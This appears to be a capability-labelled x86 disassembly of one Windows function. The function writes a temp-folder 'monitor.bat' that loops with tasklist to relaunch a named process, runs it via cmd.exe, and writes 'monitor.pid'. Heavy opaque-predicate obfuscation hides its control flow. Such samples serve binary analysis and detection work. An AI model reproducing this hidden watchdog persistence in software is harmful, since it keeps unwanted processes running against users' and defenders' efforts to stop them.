Function at 0x10097250
Capabilities:
Create process on windows
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov esi, esp
mov dword [esi + 4], ebp
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x88], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x8c], eax
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi + 0xa0], 0xffffffff
lea eax, [esi + 0x98]
mov dword [esi + 0x9c], 0x100b05b0
mov ecx, dword fs:[0]
mov dword [esi + 0x98], ecx
mov dword fs:[0], eax
mov edx, dword [esi + 0x8c]
mov ebx, dword [esi + 0x88]
mov ecx, dword [0x10285458]
mov edi, dword [0x1028545c]
not ecx
mov eax, ecx
and eax, edi
or ecx, edi
not ecx
or eax, ecx
mov edi, eax
not edi
and edi, 0x2b370dee
mov ecx, eax
and ecx, 0xd4c8f211
imul ecx, edi
mov edi, eax
and edi, 0x2b370dee
or eax, 0x2b370dee
imul eax, edi
add eax, ecx
xor eax, 0x86eb4251
imul eax, eax, 0xc43a97fc
mov dword [esi + 0x84], eax
push eax
mov edi, esp
mov dword [esi + 0x38], edi
push eax
mov ecx, esp
mov dword [esi + 0x3c], ecx
sub esp, 0x104
mov eax, esp
mov dword [esi + 0x80], eax
sub esp, 0xb0
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x40], eax
mov esp, eax
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x44
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0xb8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x5c], eax
mov esp, eax
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x64], eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 0xb0
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x70], eax
mov esp, eax
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x74], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x80]
mov dword [edi], ebx
mov dword [ecx], edx
sub esp, 8
mov dword [esp], 0x104
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [esi + 0x7c]
mov eax, dword [esi + 0x80]
sub esp, 4
mov dword [esp], eax
call fcn.10005f80
mov eax, dword [esi + 0x84]
cmp eax, 0x9e5c4a14
jb 0x100972ab
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x7c]
mov dword [esi + 0xa0], 0
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], str.monitor.bat
call fcn.1000c240
add esp, 0xc
jmp 0x1009742c
mov eax, dword [0x10285460]
mov ecx, dword [0x10285464]
mov edx, eax
xor edx, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
or edx, edi
xor edx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or edx, eax
or edx, 0x9f3b6258
mov ecx, edx
xor ecx, 0xffffffff
and edx, 0x4815cdae
mov eax, ecx
and eax, 0xb7ea3251
imul eax, edx
mov edx, ecx
and edx, 0x4815cdae
or ecx, 0x4815cdae
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x1988c173
or ecx, 0x1988c173
add eax, ecx
cmp eax, 0x5e59ae73
je 0x10098302
mov ecx, dword [esi + 0x40]
mov edx, dword [esi + 0x44]
mov dword [esi + 0xa0], 1
sub esp, 0x10
mov eax, esp
mov dword [eax], edx
mov dword [eax + 0xc], 1
mov dword [eax + 8], 0x40
mov dword [eax + 4], 2
call fcn.10065160
jmp 0x100974cb
mov ecx, dword [esi + 0x44]
mov eax, dword [0x10285478]
add eax, dword [0x1028547c]
mov edx, eax
and edx, 0x89bf8e1c
shl edx, 1
xor eax, 0x89bf8e1c
add eax, edx
mov edi, 0x68d63efc
xor edx, edx
div edi
sub eax, 0x897df58
mov dword [esi + 0x30], eax
call fcn.100061b0
mov ecx, dword [esi + 0x7c]
call fcn.100061b0
mov ecx, dword [esi + 0x40]
call fcn.10098540
mov cl, al
mov eax, dword [esi + 0x30]
mov byte [esi + 0x37], cl
cmp eax, 0xc105ee1c
jb 0x10098307
mov al, byte [esi + 0x37]
test al, 1
jne 0x10097533
jmp 0x10097aba
mov dword [esi + 0xa0], 2
mov ecx, dword [esi + 0x40]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str._echo_off_n
call fcn.10064160
add esp, 8
jmp 0x1009755b
mov eax, dword [0x10285490]
xor edx, edx
div dword [0x10285494]
mov ecx, 0x3db8a1e
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x2f175cc7
and eax, 0xd0e8a338
sub eax, ecx
and eax, 0xc5fb4763
cmp eax, 0x3dc89f7c
jb 0x10098324
mov eax, dword [0x10285498]
mov edi, dword [0x1028549c]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, edi
and edx, ecx
mov ebx, edi
xor ebx, 0xffffffff
mov ecx, eax
and ecx, ebx
imul ecx, edx
mov edx, eax
and edx, edi
or eax, edi
imul eax, edx
add eax, ecx
or eax, 0xfd32c4c6
imul eax, eax, 0xc80c1d0f
add eax, 0xfd577d3a
cmp eax, 0xe6e26f1d
jae 0x10098324
mov ecx, dword [esi + 0x40]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.:CheckProcess_n
call fcn.10064160
add esp, 8
jmp 0x10097601
mov ecx, dword [0x102854a8]
sub ecx, dword [0x102854ac]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf8623dd8
xor ecx, 0xffffffff
or ecx, 0xf8623dd8
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
and edx, 0x6b7d000a
mov ecx, eax
or ecx, 0x6b7d000a
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9482fff5
or eax, 0x9482fff5
imul eax, edx
add eax, ecx
mov edx, eax
and edx, 0x78843233
mov ecx, eax
or ecx, 0x78843233
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x877bcdcc
or eax, 0x877bcdcc
imul eax, edx
add eax, ecx
cmp eax, 0xe170b25f
jae 0x10098329
mov ecx, dword [esi + 0x40]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.set__ProcessName
call fcn.10064160
add esp, 8
mov dword [esi + 0x2c], eax
jmp 0x100976ab
mov eax, dword [0x102854b0]
xor eax, dword [0x102854b4]
add eax, 0x1d90ea51
add eax, 0xb5455284
sub eax, 0x1d90ea51
mov ecx, eax
xor ecx, 0x33e92d1e
and eax, 0xcc16d2e1
shl eax, 1
sub eax, ecx
sub eax, 0x3b4ca76d
cmp eax, 0xf9989d6
je 0x1009832e
mov ecx, dword [esi + 0x3c]
mov eax, dword [str.Xwu__rW]
xor edx, edx
div dword [0x102854bc]
add eax, 0x8425d25e
or eax, 0x8bd0edb0
imul eax, eax, 0x6b03c843
mov ecx, dword [ecx]
mov dword [esi + 0x28], ecx
cmp eax, 0x8948b739
ja 0x100976e6
mov ecx, dword [esi + 0x2c]
mov edx, dword [esi + 0x28]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10098560
add esp, 8
mov dword [esi + 0x24], eax
jmp 0x10097740
mov ecx, dword [esi + 0x24]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x10258eb9
call fcn.10064160
add esp, 8
jmp 0x1009775e
mov eax, dword [0x102854c0]
sub eax, dword [0x102854c4]
add eax, 0xced84fd5
and eax, 0x21b2835f
sub eax, 0xb399f508
cmp eax, 0xa8186c13
jae 0x10098333
mov ecx, dword [0x102854c8]
xor ecx, dword [0x102854cc]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x7f2077f8
and ecx, 0x80df8807
or eax, ecx
xor eax, 0xc0cdf005
add eax, 0x2483830
sub eax, 0x351c512b
cmp eax, 0xc485cb82
jae 0x10098333
mov ecx, dword [esi + 0x40]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.set__ProcessPath
call fcn.10064160
add esp, 8
mov dword [esi + 0x20], eax
jmp 0x100977e6
mov ecx, dword [esi + 0x20]
mov eax, dword [esi + 0x38]
mov edx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10098560
add esp, 8
mov dword [esi + 0x1c], eax
jmp 0x10097808
mov eax, dword [0x102854d8]
or eax, dword [0x102854dc]
sub eax, 0xe57898ea
mov ecx, 0x358430b6
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xab4b4f
and eax, 0xff54b4b0
shl eax, 1
sub eax, ecx
cmp eax, 0x1ffc2fe2
jbe 0x10098338
mov ecx, dword [esi + 0x1c]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x10258eb9
call fcn.10064160
add esp, 8
jmp 0x10097865
mov eax, dword [0x102854e0]
mov edx, dword [0x102854e4]
mov ecx, eax
and ecx, edx
xor eax, edx
or ecx, eax
add ecx, 0xd71be454
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x76c77074
xor eax, 0xffffffff
xor ecx, 0xffffffff
or ecx, 0x76c77074
and eax, ecx
xor eax, 0xffffffff
add eax, 0x899a6d02
cmp eax, 0xefaff92e
je 0x1009833d
mov eax, dword [0x102854e8]
sub eax, dword [0x102854ec]
add eax, 0x614d9c3a
or eax, 0xdf519287
sub eax, 0x84e6a7d8
cmp eax, 0x781b14e0
jae 0x100978b0
mov ecx, dword [esi + 0x40]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.tasklist__FI__IMAGENAME_eq__ProcessName____findstr__I___ProcessName____nul_n
call fcn.10064160
add esp, 8
jmp 0x100978fd
mov ecx, dword [esi + 0x40]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.if__ERRORLEVEL__neq_0___n
call fcn.10064160
add esp, 8
jmp 0x1009791b
mov ecx, dword [0x102854f8]
mov edx, dword [0x102854fc]
mov eax, ecx
xor eax, 0xffffffff
mov edi, edx
xor edi, 0xffffffff
or eax, edi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
and eax, 0xdd5fbeaa
xor eax, 0xffffffff
or eax, 0x715b5f7
mov ecx, eax
xor ecx, 0xffffffff
and eax, 0xe2e75d38
and ecx, 0x1d18a2c7
or eax, ecx
xor eax, 0x7c214c35
cmp eax, 0x8a2c7b24
jb 0x1009791b
mov ecx, dword [esi + 0x40]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.____start______ProcessPath___n
call fcn.10064160
add esp, 8
jmp 0x10097997
mov eax, dword [0x10285500]
mov edx, dword [0x10285504]
mov ecx, eax
and ecx, edx
shl ecx, 1
xor eax, edx
add eax, ecx
add eax, 0x489ecb23
xor eax, 0x315b463e
sub eax, 0xa482c17
cmp eax, 0x2d80c0c3
je 0x10098342
mov ecx, dword [esi + 0x40]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x10258e82
call fcn.10064160
add esp, 8
jmp 0x100979e4
mov eax, dword [0x10285510]
sub eax, dword [0x10285514]
imul ecx, eax, 0x481b9857
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x724fef2d
mov eax, ecx
and eax, 0x8db010d2
imul eax, edx
mov edx, ecx
and edx, 0x724fef2d
or ecx, 0x724fef2d
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xc97b79bc
and ecx, 0x36848643
or eax, ecx
cmp eax, 0xeb8a4a4
ja 0x10098347
mov eax, dword [0x10285518]
xor eax, dword [0x1028551c]
add eax, 0xd45159c7
add eax, 0x1413b141
add eax, 0x51ee2773
add eax, 1
cmp eax, 0xe10b38e5
jae 0x10098347
mov ecx, dword [esi + 0x40]
mov dword [esi + 0xa0], 2
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.timeout__t_30__nobreak__nul_n
call fcn.10064160
add esp, 8
jmp 0x10097a8a
mov ecx, dword [esi + 0x40]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], str.goto_CheckProcess_n
call fcn.10064160
add esp, 8
jmp 0x10097aa8
mov ecx, dword [esi + 0x40]
call fcn.10065820
jmp 0x10097ab5
jmp 0x10097aba
mov ecx, dword [esi + 0x50]
mov edx, dword [esi + 0x80]
mov dword [esi + 0xa0], 2
sub esp, 4
mov eax, esp
mov dword [eax], edx
call fcn.10005f80
jmp 0x10097ade
mov ecx, dword [esi + 0x4c]
mov edx, dword [esi + 0x50]
mov dword [esi + 0xa0], 9
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], str.monitor.bat
call fcn.1000c240
add esp, 0xc
jmp 0x10097b0c
mov edi, dword [esi + 0x58]
mov ecx, dword [esi + 0x4c]
call fcn.10008340
mov ecx, dword [esi + 0x48]
mov edx, eax
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax], ecx
mov dword [eax + 4], str.cmd.exe__B__c___s_
call fcn.10098730
mov ecx, dword [esi + 0x4c]
add esp, 0xc
call fcn.100061b0
mov ecx, dword [esi + 0x50]
call fcn.100061b0
mov eax, dword [esi + 0x54]
mov edx, dword [esi + 0x80]
mov ecx, dword [esi + 0x64]
xorps xmm0, xmm0
movups xmmword [edi + 0x30], xmm0
movups xmmword [edi + 0x20], xmm0
movups xmmword [edi + 0x10], xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x40], 0
mov dword [edi], 0x44
mov dword [edi + 0x2c], 1
mov word [edi + 0x30], 0
movups xmmword [eax], xmm0
mov dword [esi + 0xa0], 2
sub esp, 4
mov eax, esp
mov dword [eax], edx
call fcn.10005f80
jmp 0x10097b9b
mov ecx, dword [0x10285520]
mov edx, dword [0x10285524]
mov edi, ecx
xor edi, 0xffffffff
mov eax, edx
and eax, edi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
xor eax, 0xfb396634
add eax, 0xa4eba480
sub eax, 0xfb11414d
sub eax, 0xa4eba480
add eax, 0x650d2e8d
cmp eax, 0x180ef20f
je 0x1009834c
mov ecx, dword [0x10285528]
mov edx, dword [0x1028552c]
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
imul eax, eax, 0xfc78f561
sub eax, 0x79c2e0b2
and eax, 0xa93efcbd
cmp eax, 0x62d87fd0
jb 0x1009834c
mov ecx, dword [esi + 0x60]
mov edx, dword [esi + 0x64]
mov dword [esi + 0xa0], 7
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], str.monitor.pid
call fcn.1000c240
add esp, 0xc
jmp 0x10097c39
mov eax, dword [0x10285530]
add eax, dword [str.5_1]
add eax, 0xb2a28d0e
add eax, 0xc0ab0c2e
sub eax, 0xb2a28d0e
sub eax, 0x82fbc8d9
imul eax, eax, 0xb278b76e
cmp eax, 0x911f7361
jbe 0x10098351
mov eax, dword [0x10285538]
add eax, dword [0x1028553c]
add eax, 0xb95533df
xor eax, 0x4a8ff14f
xor eax, 0x1a2c93bd
cmp eax, 0xc1f377b3
ja 0x10098351
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x60]
mov dword [esi + 0xa0], 8
sub esp, 0x10
mov eax, esp
mov dword [eax], edx
mov dword [eax + 0xc], 1
mov dword [eax + 8], 0x40
mov dword [eax + 4], 1
call fcn.100988e0
jmp 0x10097cc4
mov ecx, dword [0x10285540]
mov edx, dword [0x10285544]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
sub eax, 0xb4a1b516
imul eax, eax, 0xde5e6d21
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x319b2385
add eax, ecx
cmp eax, 0xde2a6dd0
ja 0x10098356
mov ecx, dword [esi + 0x60]
call fcn.100061b0
mov ecx, dword [esi + 0x64]
call fcn.100061b0
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x5c]
mov dword [eax], 0
call fcn.10098ad0
test al, 1
jne 0x10097d2b
jmp 0x10097e0d
mov eax, dword [0x10285550]
and eax, dword [0x10285554]
mov edx, eax
xor edx, 0xffffffff
and edx, 0xf1afaf20
mov ecx, eax
and ecx, 0xe5050df
imul ecx, edx
mov edx, eax
and edx, 0xf1afaf20
or eax, 0xf1afaf20
imul eax, edx
add eax, ecx
mov ecx, 0xb2524c7
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x7753814e
add eax, ecx
cmp eax, 0x3d4ca13e
jae 0x1009837c
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x68]
mov dword [esi + 0xa0], 3
sub esp, 4
mov eax, esp
mov dword [eax], edx
call fcn.10098af0
jmp 0x10097da2
mov ecx, dword [esi + 0x5c]
call fcn.10098b20
jmp 0x10097daf
mov eax, dword [0x10285560]
mov ecx, dword [str.RU_]
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xc8a3d2a6
xor edx, edx
div ecx
or eax, 0xd56da86f
and eax, 0xb1bc6bff
cmp eax, 0x3121c2b7
jb 0x10098381
mov eax, dword [0x10285568]
or eax, dword [str.Cx1Q]
or eax, 0xd08170bf
xor eax, 0x6c87122a
sub eax, 0x4ef47427
cmp eax, 0x8bffb95e
jae 0x10098381
jmp 0x10097e0d
mov ecx, dword [0x10285570]
imul ecx, dword [0x10285574]
mov eax, ecx
and eax, 0xc12cb298
xor ecx, 0xffffffff
and ecx, 0x3ed34d67
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x19223d39
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x56faf18c
xor ecx, 0xffffffff
add eax, 0x56faf18c
add eax, 1
add eax, ecx
cmp eax, 0xdee313c3
ja 0x10098386
mov ecx, dword [esi + 0x68]
mov eax, dword [0x10285578]
imul eax, dword [0x1028557c]
and eax, 0x25d7b7d8
or eax, 0x744f0389
imul eax, eax, 0x3d6702f4
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x1b], cl
cmp eax, 0x82ef9509
ja 0x10097e58
mov al, byte [esi + 0x1b]
test al, 1
jne 0x10097e9b
jmp 0x10097f4c
mov eax, dword [0x10285580]
xor edx, edx
div dword [0x10285584]
xor eax, 0xdc793987
add eax, 0x74716205
mov ecx, eax
and ecx, 0x5af35604
shl ecx, 1
xor eax, 0x5af35604
add eax, ecx
cmp eax, 0x7e5739d0
jbe 0x1009838b
mov eax, dword [esi + 0x68]
mov edx, dword [0x10285588]
xor edx, dword [0x1028558c]
add edx, 0x5dadc8de
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x2f51893c
and edx, 0xd0ae76c3
or ecx, edx
mov edx, ecx
and edx, 0xb70a703c
shl edx, 1
add ecx, 0xb70a703c
sub ecx, edx
mov dword [esi + 0x14], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10096c70
add esp, 4
mov cl, al
mov eax, dword [esi + 0x14]
mov byte [esi + 0x1a], cl
cmp eax, 0x1d62b5d1
je 0x10097ece
mov al, byte [esi + 0x1a]
test al, 1
jne 0x10097f3e
jmp 0x10097f4c
mov eax, dword [esi + 0x6c]
mov dword [eax], 1
jmp 0x10098179
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x58]
mov edx, dword [esi + 0x48]
xor edi, edi
sub esp, 0x28
mov dword [esp], 0
mov dword [esp + 4], edx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 0
jne 0x10097fba
mov eax, dword [esi + 0x6c]
mov dword [eax], 1
jmp 0x10098179
mov dword [esi + 0xa0], 3
mov ecx, dword [esi + 0x78]
mov edx, dword [esi + 0x80]
sub esp, 4
mov eax, esp
mov dword [eax], edx
call fcn.10005f80
jmp 0x10097fde
mov eax, dword [0x102855a0]
and eax, dword [0x102855a4]
or eax, 0xbf603c45
imul eax, eax, 0xf6028b67
imul eax, eax, 0x7fb09e8a
cmp eax, 0x4e91658f
jbe 0x100983a3
mov ecx, dword [esi + 0x74]
mov edx, dword [esi + 0x78]
mov dword [esi + 0xa0], 5
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], str.monitor.pid
call fcn.1000c240
add esp, 0xc
jmp 0x10098033
mov ecx, dword [esi + 0x70]
mov edx, dword [esi + 0x74]
mov dword [esi + 0xa0], 6
sub esp, 0x10
mov eax, esp
mov dword [eax], edx
mov dword [eax + 0xc], 1
mov dword [eax + 8], 0x40
mov dword [eax + 4], 2
call fcn.10065160
jmp 0x10098069
mov ecx, dword [esi + 0x74]
call fcn.100061b0
mov ecx, dword [esi + 0x78]
call fcn.100061b0
mov ecx, dword [esi + 0x70]
call fcn.10098540
test al, 1
jne 0x1009808e
jmp 0x100980c4
mov ecx, dword [esi + 0x70]
mov eax, dword [esi + 0x54]
mov edx, dword [eax + 8]
mov dword [esi + 0xa0], 4
sub esp, 4
mov eax, esp
mov dword [eax], edx
call fcn.10098e30
jmp 0x100980b2
mov ecx, dword [esi + 0x70]
call fcn.10065820
jmp 0x100980bf
jmp 0x100980c4
mov eax, dword [0x102855d0]
mov ecx, dword [0x102855d4]
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0xa2875032
shl ecx, 1
xor eax, 0xa2875032
add eax, ecx
sub eax, 0xdd503d39
xor eax, 0xffffffff
or eax, 0x7b9bfef4
xor eax, 0xffffffff
cmp eax, 0xc40e935b
ja 0x100983a8
mov eax, dword [esi + 0x54]
mov ecx, dword [0x102855d8]
mov edx, dword [0x102855dc]
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and ecx, 0xa8e0afa8
sub ecx, 0x36e7e874
add ecx, 0x9f47927e
mov dword [esi + 0x10], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0x70]
call fcn.100659d0
mov ecx, dword [esi + 0x6c]
mov eax, dword [esi + 0x10]
mov dword [ecx], 0
cmp eax, 0x46e93bd8
jae 0x100983a8
jmp 0x10098179
mov ecx, dword [0x102855e0]
mov edx, dword [0x102855e4]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
imul eax, eax, 0xe4705819
xor eax, 0xffffffff
or eax, 0x8db70381
and eax, 0x9fc36a79
xor eax, 0xffffffff
cmp eax, 0x7af83a9d
jae 0x100983e1
mov ecx, dword [esi + 0x5c]
mov edx, dword [0x102855e8]
sub edx, dword [0x102855ec]
sub edx, 0xb8f6bbd9
mov eax, edx
xor eax, 0xa21543b4
xor eax, 0xffffffff
or edx, 0xa21543b4
and edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0x6b228999
and edx, 0x94dd7666
or eax, edx
mov dword [esi + 8], eax
call fcn.100994b0
mov ecx, dword [esi + 0x40]
call fcn.100659d0
mov ecx, dword [esi + 0x6c]
mov eax, dword [esi + 8]
mov ecx, dword [ecx]
mov dword [esi + 0xc], ecx
cmp eax, 0x4d444bee
jbe 0x100981ae
mov eax, dword [esi + 0xc]
cmp eax, 1
ja 0x10098256
mov eax, dword [0x102855f0]
or eax, dword [0x102855f4]
or eax, 0x728e1857
mov ecx, 0x3fbbaa78
xor edx, edx
div ecx
sub eax, 0x28cc49d3
cmp eax, 0x803bca00
jbe 0x100983f6
mov eax, dword [esi + 0x98]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x10285600]
xor edx, edx
div dword [str.sxT_hV]
mov edx, eax
and edx, 0xe896d081
mov ecx, eax
or ecx, 0xe896d081
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x17692f7e
or eax, 0x17692f7e
imul eax, edx
add eax, ecx
add eax, 0xfd2f5ad5
xor eax, 0xffffffff
or eax, 0xcdef214d
xor eax, 0xffffffff
cmp eax, 0x3a23b4c0
jae 0x100983fb
mov ecx, dword [0x10285608]
mov edx, dword [0x1028560c]
mov eax, ecx
xor eax, 0xffffffff
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0xdd3d6ed4
mov ecx, eax
xor ecx, 0xe7879cd9
xor ecx, 0xffffffff
and ecx, 0xe7879cd9
shl ecx, 1
sub ecx, 0xe7879cd9
sub eax, ecx
mov ecx, eax
xor ecx, 0xbce70ae4
and eax, 0x4318f51b
shl eax, 1
sub eax, ecx
cmp eax, 0xd2448bae
ja 0x100982a6
jmp 0x10097495
mov ecx, dword [esi + 0x44]
call fcn.100061b0
mov ecx, dword [esi + 0x7c]
call fcn.100061b0
mov ecx, dword [esi + 0x40]
call fcn.10098540
jmp 0x100974cb
jmp 0x10097593
jmp 0x10097601
jmp 0x100976e6
jmp 0x10097783
jmp 0x10097808
jmp 0x100978b0
jmp 0x100979c6
jmp 0x10097a3a
jmp 0x10097bdb
jmp 0x10097c69
mov ecx, dword [esi + 0x60]
call fcn.100061b0
mov ecx, dword [esi + 0x64]
call fcn.100061b0
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x5c]
mov dword [eax], 0
call fcn.10098ad0
jmp 0x10097cfd
jmp 0x10097d81
jmp 0x10097de3
jmp 0x10097e58
mov eax, dword [esi + 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10096c70
add esp, 4
jmp 0x10097ece
jmp 0x10098005
mov eax, dword [esi + 0x54]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esi + 0x70]
call fcn.100659d0
mov eax, dword [esi + 0x6c]
mov dword [eax], 0
jmp 0x10098106
mov ecx, dword [esi + 0x5c]
call fcn.100994b0
mov ecx, dword [esi + 0x40]
call fcn.100659d0
jmp 0x100981ae
jmp 0x10098242
jmp 0x100982a6